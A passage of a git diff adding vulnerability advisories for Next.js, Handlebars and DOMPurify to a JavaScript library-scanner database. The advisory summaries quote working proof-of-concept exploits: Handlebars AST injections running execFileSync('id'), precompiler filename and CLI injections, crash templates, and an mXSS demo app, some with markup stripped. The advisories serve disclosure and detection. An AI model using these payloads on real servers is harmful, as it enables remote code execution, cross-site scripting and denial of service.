`Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.5.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] } ], "extractors": { diff --git a/repository/jsrepository-v5.json b/repository/jsrepository-v5.json index 13442090..9ef27dd5 100644 --- a/repository/jsrepository-v5.json +++ b/repository/jsrepository-v5.json @@ -4536,6 +4536,165 @@ "info": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-23369" ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321", + "CWE-79" + ], + "identifiers": { + "summary": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('
Welcome! {{> widget}}
');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output:
Welcome!
\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.", + "githubID": "GHSA-2qvq-rjwj-gvw9", + "CVE": [ + "CVE-2026-33916" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "critical", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== 'string') {\n throw new TypeError('Template must be a string');\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.", + "githubID": "GHSA-2w6w-674q-4c4q", + "CVE": [ + "CVE-2026-33937" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.", + "githubID": "GHSA-3mfm-83xf-c92r", + "CVE": [ + "CVE-2026-33938" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "low", + "cwe": [ + "CWE-367" + ], + "identifiers": { + "summary": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i < len; i++) {\n let result = depths[i] && container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).", + "githubID": "GHSA-442j-39wm-28r2" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-754" + ], + "identifiers": { + "summary": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send('Invalid template');\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.", + "githubID": "GHSA-9cx6-37pm-9jff", + "CVE": [ + "CVE-2026-33939" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{> (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{> (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function's argument list\n depth: \"0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -> dynamic partial -> RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.", + "githubID": "GHSA-xhpv-hc6g-r9c6", + "CVE": [ + "CVE-2026-33940" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-116", + "CWE-79", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")' # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.", + "githubID": "GHSA-xjpj-3mr7-gcpf", + "CVE": [ + "CVE-2026-33941" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.6.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321" + ], + "identifiers": { + "summary": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor'] = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.", + "githubID": "GHSA-7rx3-28cr-v5wh" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] } ], "extractors": { @@ -5236,6 +5395,22 @@ "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" ] }, + { + "atOrAbove": "0", + "below": "3.3.2", + "severity": "medium", + "cwe": [ + "CWE-79" + ], + "identifiers": { + "summary": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \"</xmp\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `` sequence inside `alt`.\n- The sink reparses to include ``.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\n\n \n \n \n expoc - DOMPurify SSR PoC\n \n \n \n
\n

expoc - DOMPurify Server-Side PoC

\n

\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n

\n\n
\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n
\n

Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.

\n
\n
script (vulnerable)
\n
xmp (vulnerable)
\n
iframe (vulnerable)
\n
noembed (vulnerable)
\n
noframes (vulnerable)
\n
noscript (vulnerable)
\n
div (no vulnerable)
\n
textarea (no vulnerable)
\n
title (no vulnerable)
\n
style (no vulnerable)
\n
\n
\n\n
\n \n
(empty)
\n
\n\n
\n \n
\n
\n
\n
\n\n \n \n\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\"daft-img\"\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (``) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including ``, ``, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).", + "githubID": "GHSA-h8r8-wccr-v5f2" + }, + "info": [ + "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2", + "https://github.com/cure53/DOMPurify/releases/tag/3.3.2" + ] + }, { "atOrAbove": "3.1.3", "below": "3.3.2", @@ -9441,6 +9616,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "10.0.0", + "below": "15.5.14", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately 